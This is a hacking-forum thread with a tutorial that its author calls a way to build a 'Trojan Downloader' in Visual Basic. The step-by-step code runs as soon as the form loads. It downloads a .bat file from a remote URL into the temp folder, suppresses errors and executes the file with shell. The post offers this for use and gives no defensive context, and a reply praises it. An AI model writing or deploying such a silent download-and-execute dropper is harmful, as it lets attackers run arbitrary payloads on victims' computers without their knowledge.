Welcome To Expl0its Thursday, 03.28.2024, 3:55 PM
Main | Registration | Login Welcome Guest | RSS
[ New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Forum moderator: iCryptic  
Forum » Coding Tutorials » Visual Basic, Any year. » How to make a VB downloader
How to make a VB downloader
Ex-RevDate: Thursday, 10.07.2010, 8:05 AM | Message # 1
Unlimited Scorer
Group: Administrators
Messages: 71
Awards: 3
Reputation: 2
Status: Offline
Hi guys,

My Trojan Downloader program was a very popular program so I decided to create a short tutorial on how to make on. YOU MUST HAVE A DECENT KNOWLEDGE OF VISUAL BASIC! Okay, let's get started! First of all you will need the proper tools.

•Microsoft Visual Basic
•Decent knowledge of Visual Basic

Now open up VB and start a new standard exe. Now, you will need to add a reference to Microsoft Internet Transfer Control (Inet). Add an Inet control to your form and then double click the form so your code should now look like this:

Code

Private Sub Form1_Load()

End Sub

Now add this text to your form:

Code


Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
End Sub

Create a new module and put this code in:

Code

Public Function DownloadFile(url As String, extension As String)
On Error GoTo Error
Dim strURL As String
Dim bData() As Byte
Dim intFile As Integer
strURL = url
intFile = FreeFile()
bData() = Inet1.OpenURL(strURL, icByteArray)
Open Environ("temp") & "temp" & extension For Binary Access Write As #intFile
Put #intFile, , bData()
Close #intFile
Exit Function
Error:
End
End Function

Now add this code:

Code

Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
shell Environ("temp") & "temp" & extension
End Sub

You're done, you now have your basic downloader


Hacking's Not a Crime. It's a Skill.

*Can Code Vb
*Can Code HTML
*Can Code Java

PM me for help.

 
iCrypticDate: Thursday, 10.07.2010, 8:23 AM | Message # 2
Secondary Poster
Group: Administrators
Messages: 31
Awards: 3
Reputation: 500
Status: Offline
Very Nice Tutorial .
 
Forum » Coding Tutorials » Visual Basic, Any year. » How to make a VB downloader
  • Page 1 of 1
  • 1
Search:

Copyright MyCorp © 2024 Site managed by uCoz